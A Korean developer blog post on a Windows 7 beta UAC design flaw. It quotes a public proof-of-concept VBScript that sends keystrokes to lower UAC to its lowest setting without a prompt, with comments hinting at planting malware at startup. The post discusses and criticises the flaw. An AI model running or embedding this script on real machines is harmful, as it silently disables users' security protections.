Microsoft MVP성태의 닷넷 이야기
Windows: 41. UAC 보안 취약 [링크 복사], [링크+제목 복사],
조회: 22992
글쓴 사람
정성태 (techsharer at outlook.com)
홈페이지
첨부 파일
 


Windows 7 - UAC 보안 취약


오늘 날짜의 "한국 마이크로소프트 - 오늘의 뉴스"에 재미있는 기사가 올라왔습니다.

[외신] 윈도우 7 베타버전 UAC기능, 보안 취약 논쟁 
; http://www.boannews.com/media/view.asp?idx=14088&kind=1

재미있더군요. 검색을 통해서 문제를 제기한 "Long Zheng"이라는 사람의 글을 쉽게 발견할 수 있었습니다.

Sacrificing security for usability: UAC security flaw in Windows 7 beta (with proof of concept code) 
; http://www.istartedsomething.com/20090130/uac-security-flaw-windows-7-beta-proof/

Malware can turn off UAC in Windows 7; “By design” says Microsoft
; http://www.withinwindows.com/2009/01/30/malware-can-turn-off-uac-in-windows-7-by-design-says-microsoft

실제로, 공개된 소스코드를 확인해 보면 정말 간단합니다.

'// 1337H4x Written by _____________ 
'//                    (12 year old)

Set WshShell = WScript.CreateObject("WScript.Shell")

'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)

'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)

'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")

'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")

'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder

'// Reboot the system
'// WshShell.Run "shutdown /r /f"

문제가 되는 것은, UAC 수준이 Windows 7에서 조정이 되었는데, 그 조정된 수준에서는 UAC 자체의 설정값을 변경하는 행위에서도 "UAC 확인" 창이 뜨지 않는다는 것입니다. 위의 프로그램을 통해서 실행되는 프로그램은 "User Account Control Settings" 대화창인데,

[그림 1: Windows 7 UAC 수준 변경 대화창]
windows7_uac_flaw_by_keyboard_1.png

UAC 모드를 변경하는 "OK" 버튼에서 "UAC 확인창"이 떠야만 하는데, 현재 Windows 7의 기본값인 "Default - Notify me only when programs try to make changes to my computer"에서는 UAC를 바꾸는 것 자체도 "Windows settings"를 변경하는 부분에 해당하기 때문에 UAC 확인창이 뜨지 않는 것입니다.

만약, UAC 설정값을 프로그래밍적으로 바꾸는 방법이 있었다면 위와 같이 SendKeys 방법을 굳이 통하지 않고 그 API를 부르는 것만으로도 UAC는 쉽게 바뀔 수 있다는 의미가 됩니다.

이 부분은, UAC 수준을 조절하는 과정에서 Microsoft 내부적으로 잘못 이해된 것이 아닌가 싶은데, 마이크로소프트 측에서는 이것을 "By Design"의 문제라고 하며 그다지 중요하게 생각하지 않고 있다는 것도 또한 문제시되고 있습니다. 제 생각에는 이런 정도의 결함은 Microsoft도 내부적인 설정 오류라고 보고 수정하면 될 것 같은데 ... 좀 의아스럽긴 합니다.

제 개인적인 생각으로도, Windows 7 정식 버전에서는 꼭 고쳐졌으면 좋겠군요.



[이 토픽에 대해서 여러분들과 의견을 공유하고 싶습니다. 틀리거나 미흡한 부분 또는 의문 사항이 있으시면 언제든 댓글 남겨주십시오.]







[최초 등록일: ]
[최종 수정일: 4/10/2022]

Creative Commons License
이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.
by SeongTae Jeong, mailto:techsharer at outlook.com

비밀번호

댓글 작성자
 



2009-02-15 10시09분
[vbdream] 최소한 UAC 변경 창은 별도의 데스크톱이라던가, 하여튼 일반적인 응용 프로그램과는 단절된 환경에서 이루어져야 하겠네요.
[guest]
2009-02-15 11시01분
위의 문제에서는 기본적으로 UAC 변경에 대한 것 자체에 UAC를 적용해야 하고요. ^^
UAC 대화창이 떠야 한다면 "vbdream" 님이 말씀하신 것처럼 별도의 데스크톱에 떠야 안전하겠지요.
kevin25

... 106  107  108  109  110  [111]  112  113  114  115  116  117  118  119  120  ...
NoWriterDateCnt.TitleFile(s)
11149정성태2/21/201722992오류 유형: 378. A 64-bit test cannot run in a 32-bit process. Specify platform as X64 to force test run in X64 mode on X64 machine.
11148정성태2/20/201721953.NET Framework: 644. AppDomain에 대한 단위 테스트 시 알아야 할 사항
11147정성태2/19/201721193오류 유형: 377. Windows 10에서 Fake 어셈블리를 생성하는 경우 빌드 시 The type or namespace name '...' does not exist in the namespace 컴파일 오류 발생
11146정성태2/19/201719841오류 유형: 376. Error VSP1033: The file '...' does not contain a recognized executable image. [2]
11145정성태2/16/201721305.NET Framework: 643. 작업자 프로세스(w3wp.exe)가 재시작되는 시점을 알 수 있는 방법 - 두 번째 이야기 [4]파일 다운로드1
11144정성태2/6/201724652.NET Framework: 642. C# 개발자를 위한 Win32 DLL export 함수의 호출 규약 (부록 1) - CallingConvention.StdCall, CallingConvention.Cdecl에 상관없이 왜 호출이 잘 될까요?파일 다운로드1
11143정성태2/5/201722079.NET Framework: 641. [Out] 형식의 int * 인자를 가진 함수에 대한 P/Invoke 호출 방법파일 다운로드1
11142정성태2/5/201730057.NET Framework: 640. 닷넷 - 배열 크기의 한계 [2]파일 다운로드1
11141정성태1/31/201724345.NET Framework: 639. C# 개발자를 위한 Win32 DLL export 함수의 호출 규약 (4) - CLR JIT 컴파일러의 P/Invoke 호출 규약 [1]파일 다운로드1
11140정성태1/27/201720101.NET Framework: 638. RSAParameters와 RSA파일 다운로드1
11139정성태1/22/201722781.NET Framework: 637. C# 개발자를 위한 Win32 DLL export 함수의 호출 규약 (3) - x64 환경의 __fastcall과 Name mangling [1]파일 다운로드1
11138정성태1/20/201721052VS.NET IDE: 113. 프로젝트 생성 시부터 "Enable the Visual Studio hosting process" 옵션을 끄는 방법 - 두 번째 이야기 [3]
11137정성태1/20/201719769Windows: 135. AD에 참여한 컴퓨터로 RDP 연결 시 배경 화면을 못 바꾸는 정책
11136정성태1/20/201718954오류 유형: 375. Hyper-V 내에 구성한 Active Directory 환경의 시간 구성 방법 - 두 번째 이야기
11135정성태1/20/201719947Windows: 134. Windows Server 2016의 작업 표시줄에 있는 시계가 사라졌다면? [1]
11134정성태1/20/201727376.NET Framework: 636. System.Threading.Timer를 이용해 타이머 작업을 할 때 유의할 점 [5]파일 다운로드1
11133정성태1/20/201723504.NET Framework: 635. C# 개발자를 위한 Win32 DLL export 함수의 호출 규약 (2) - x86 환경의 __fastcall [1]파일 다운로드1
11132정성태1/19/201734989.NET Framework: 634. C# 개발자를 위한 Win32 DLL export 함수의 호출 규약 (1) - x86 환경에서의 __cdecl, __stdcall에 대한 Name mangling [1]파일 다운로드1
11131정성태1/13/201723929.NET Framework: 633. C# - IL 코드 분석을 위한 팁 [2]
11130정성태1/11/201724433.NET Framework: 632. x86 실행 환경에서 SECURITY_ATTRIBUTES 구조체를 CreateEvent에 전달할 때 예외 발생파일 다운로드1
11129정성태1/11/201728790.NET Framework: 631. async/await에 대한 "There Is No Thread" 글의 부가 설명 [9]파일 다운로드1
11128정성태1/9/201723249.NET Framework: 630. C# - Interlocked.CompareExchange 사용 예제 [3]파일 다운로드1
11127정성태1/8/201722777기타: 63. (개발자를 위한) Visual Studio의 "with MSDN" 라이선스 설명
11126정성태1/7/201727515기타: 62. Edge 웹 브라우저의 즐겨찾기(Favorites)를 편집/백업/복원하는 방법 [1]파일 다운로드1
11125정성태1/7/201724346개발 환경 구성: 310. IIS - appcmd.exe를 이용해 특정 페이지에 클라이언트 측 인증서를 제출하도록 설정하는 방법
11124정성태1/4/201727802개발 환경 구성: 309. 3년짜리 유효 기간을 제공하는 StartSSL [2]
... 106  107  108  109  110  [111]  112  113  114  115  116  117  118  119  120  ...